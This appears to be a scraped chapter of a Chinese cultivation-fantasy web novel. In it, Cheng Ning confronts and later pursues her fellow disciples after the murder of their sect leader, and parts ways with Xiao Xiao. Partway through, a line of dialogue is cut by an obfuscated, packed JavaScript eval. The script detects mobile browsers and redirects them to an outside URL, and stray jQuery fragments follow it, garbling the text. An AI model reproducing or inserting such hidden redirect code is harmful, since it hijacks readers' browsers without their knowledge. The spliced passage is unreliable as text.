73. 同门相残

作品:《犟种今天解除天罚了吗?

    道鸣峰,清早来了两个人——何云婕与何云桦。


    结界一墙之隔,六目相对,爱夹着恨,变成怨。


    怨你年少天资,惹我嫉妒。


    怨你利欲熏心,杀害同门。


    怨我们再也不是同路人。


    无垢山外,一些流言蜚语飘进程宁的耳朵。


    有人说他们快完了,前几年出了个使用鬼术修炼的长老,如今又来一个杀害宗主的长老。


    快完蛋了!


    毁和誉,像风吹过程宁的耳廓,留下轻微感觉。


    但眼前站着的两人,却能在仅一眼之间,就掀起她心中的巨大情绪。


    同门一脉,本应兄友弟恭,可是兄如今已死,弟再无恭敬之人。


    “你们要干什么?”程宁问。不再亲昵,没有敬语,冷淡且平静。


    “阿木尔要离开这儿。”


    “他父亲已经放弃他了。”


    一封从长天宗来的信飘到何云桦手中。


    程宁再次重复:“他父亲痛斥他暴掠残忍,不堪大任,单方面与他解除父子关系,剥夺他少宗主的身份,任我处置。”


    “嗯。”何云桦很快接受这个答案,“我也要走。”


    “不行。”程宁答,“所有人都知道你干的事情了,你现在出去,就会像落水狗一样人人喊打。待在宗门至少衣食不愁。”


    “我要走。”何云桦无比肯定,带着何云婕。


    “那各凭本事了。”程宁微微一笑,再目送他们离开。


    各凭本事,你若能走,我便追。你若不能走,那就在这老死。


    “你会不会觉得我优柔寡断?”程宁转身,看向一直看着她的萧啸。


    萧啸摇头:“不会。若是萧渡犯下此等大错,我也会留他一命。”


    “唉!”程宁看着已经无人的小路叹息,“怎么会变成今天这个样子呢?”


    “谁也不会想到。”萧啸陪着她叹息,“手握资源、衣食不愁、名门大宗,原来你们也会像饿犬抢食一般争抢某种东西,丝毫不顾人的礼义廉耻。我曾经以为只有穷疯了的人才会这样做。”


    “……”程宁还能说些什么?


    “请不要锐评,我内心脆弱。”


    ……


    这样一片修仙大陆,强大是唯一法则。你若能羽化登仙,那么凡间犯下的一切过错都会消失,还会有一群人在你身后追捧你……世界如此,人贪婪,环境也贪婪。


    后山传来巨响,何云桦试图冲破阵法。


    程宁是提着剑来的,她飘在半空问:“你为何执迷不悟?我保证你不死,不缺吃穿,只是困顿此地,你为何不肯?你在这儿长大,继续在这儿老死不好吗?”


    “你看我甘愿困顿吗?”何云桦的后背始终有一根脊梁支撑他。哪怕局面再难堪,再渺茫,认定了就不回头。


    无垢宗上下基本都秉持这一思想,门风永存。


    “我在劝你。”程宁无奈表示,“先收起你的剑,好吗?”


    “不好。”何云桦答:“我受够了!我受够了被人制约,年幼时被贫困制约,少年被宗门规矩制约,如今青年我还要受你制约吗?我是你的兄长,你无权管教我。”


    他身后站着何云婕,再往后的地面上站着阿木尔。


    程宁在看何云婕,永远温柔的人,也能与她撕破脸皮,露出剑刃……


    为何啊师父?你为何早早的死了,抛下我们,留下我们内斗?你算到过会有今天吗?算到过你走后的日子我会这么难过吗?


    真希望你可以活过来,解决这个问题。


    程宁长久沉默,低垂眼眸,看着剑刃在她的眼中闪出寒光。


    萧啸开口:“年少困顿可怪命运,但青年的困境是你自己造成的。你若不违背人伦,犯上杀兄,又为何会有今日的麻烦呢?你若不做丧尽天良之事,别人又为何要将你困在此地呢?能留你一命已是莫大的宽容。”


    “我还容不到你一个无名无派的软饭男来教训!”何云桦呵斥。


    他身后何云婕泪水涟涟。


    曾经程宁最心疼她的师姐哭泣,可现在她说不出任何一句安慰。


    哪怕泪水将整个无垢山都流淌一遍,也换不回大师兄的性命。


    年轻的宗主死在同门的算计中。


    年轻的师妹陷在杀兄为兄报仇,或不杀兄不为兄报仇,的两难境地。


    何云桦还是动手了,在何云婕的哭声中,在程宁的惊愕和萧啸的骂声中。


    同出一门的招数,彼此熟悉,知道对方的弱点在哪里,只是比谁更心狠而已。


    何云桦更心狠,他心狠的刺伤程宁,抛下阿木尔,只带着他的姐姐离开了无垢宗。


    留在地面的阿木尔一直在等他的如意郎君来接他,但他只等到了捂着左臂缓缓落下的程宁,和右肩流血的萧啸。


    “他抛弃你了。”萧啸锐评,“他抛弃你了,只带走了他的姐姐。你以为的年少相识,相伴多年,情真意切,结果是大难临头各自飞。他能带走姐姐,为何不能带走你呢?为何要将你一个人留在无垢宗受苦呢?”


    程宁默许萧啸的毒舌,甚至感觉无比解气。


    “胡说。”阿木尔嘴硬。


    程宁回:“那你看他回不回来找你吧。”


    她与萧啸两人回到道鸣峰。熟悉的建筑出现在眼前,她整个人像泄了气,瞬间明白了极顶的悲伤。


    现在该感慨什么?现在什么都不能感慨。要擦干眼泪,包扎伤口,再重新出发。


    微凉的草药被敷在萧啸的肩上。程宁说:“忍着点,会疼。这几天不要剧烈动作,饮食也要注意。”


    萧啸看着她关切的模样,嗓子里压着笑,提醒:“我金丹后期,差半步化神。草药再敷慢点,这伤就好了。”


    “敷点药,不容易留疤。留疤,不好看。”程宁抿着唇为自己找补,心口的感情被堵着,化成草药敷在萧啸的肩膀。


    “所以你现在愿意和我成为一个独立的团体了吗?”萧啸还在追问,似乎这是对他很重要的问题。


    值得反复追问,不断确定的问题。


    承诺太重,程宁避而不谈,耐不住萧啸的反复追问,她只得问:“你知道这意味着什么吗?我们之间什么都没说明白,我能给你什么承诺?”


    “可你之前答应我了,你说‘可以’


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288704|180591||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”萧啸从软榻上爬起来,有些焦急。他看见了程宁眼中的不悦和反感。


    怎么会不高兴呢?


    “我反悔。”程宁站起身,拉开距离,萧啸的手拽着她的衣袖。她狠心将手指一根根掰开,然后扔在软榻之上,‘


    就这样,萧啸看着她的动作,有种被人戏弄的感觉。


    什么都给了,钱也给了,人也给了,心也给了,换来人家一句“我反悔”。


    肩上的伤口开始疼,扯得整个胸口都疼。


    哪有时间风花雪月的谈感情啊?程宁还有更多的事情干。


    她必须追捕她的师兄师姐,追逐天涯。她从无垢宗十五岁到二十五岁的弟子中选出一百名,作为宗主的预备役,进行角逐,胜利者就是宗主。


    她不得不佩服,阿日斯兰的办法确实有几分可取之处。


    她还请了个外援——金普宣。


    这位将亲自带教宗主预备役,直到选出真正的宗主。


    而她还要追捕逃犯,解除天罚,无垢宗的担子不能全担在她一人身上,所有人都必须动起来!


    她与萧啸再没说过话。


    “我要走了。”转角,程宁拦住萧啸。


    萧啸冷漠表示:“我也要走了,大家各奔前程。”


    “好!”


    转角转折了缘分。


    程宁没回头,只是一寸寸的感知熟悉的气息消失在自己身边。应该这样,必须这样,她告诉自己像她这样的人,像她这般的命运不该再牵扯无辜之人。


    我命格沉重,你不应该与我共同承担,你会有你安稳顺遂的一生,而我们不会再见。


    我也许会死,不是今天就是明天。


    下山路格外安静,石板缝隙长着青苔,程宁握着自己手中的剑,沉重的分量格外使人安心。


    许浩嘉来信,说在北边发现何氏姐弟的踪迹。


    北方,那广袤的沙漠和死亡的虚无之海。


    程宁不禁想,他们放弃宗门内的生活,跑到那鸟不拉屎的地方去,这就是他们要的生活吗?


    不懂,不尊重。


    “你好!”北方沙漠的某个补给站,程宁扯下覆面的绢布,像前方的何氏兄妹伸出手。


    “巧。”何云桦镇定答复。


    何云婕情绪激动,“小妹,你怎会……你不该来的!”


    “我应该来,来带回罪徒,回去赎罪。”程宁拔出剑身,“打一架吧,两位曾经的同门手足。”


    三柄剑分别亮出属于它们的锋芒,在广袤的沙漠之上,从地上打到天上,再从天上打到沙子里。


    期间,何云婕不断劝:“小妹,收手!你现在就回去,去金门宗也好,黑云宗也罢,再也不要出来。躲起来!”


    “我又没做错什么,凭什么要我躲起来?”程宁不满质问。


    黄沙糊了她满嘴,鼻孔里面都是。


    剑斩过黄色的沙粒,用尽全力,但剑锋不肯向何氏兄妹偏一点。


    程宁认清了自己的柔情,痛恨自己的心软,痛恨他们的心狠。


    三柄剑再次同时交锋。


    “我恨你们!”程宁的抱怨响彻整片空间。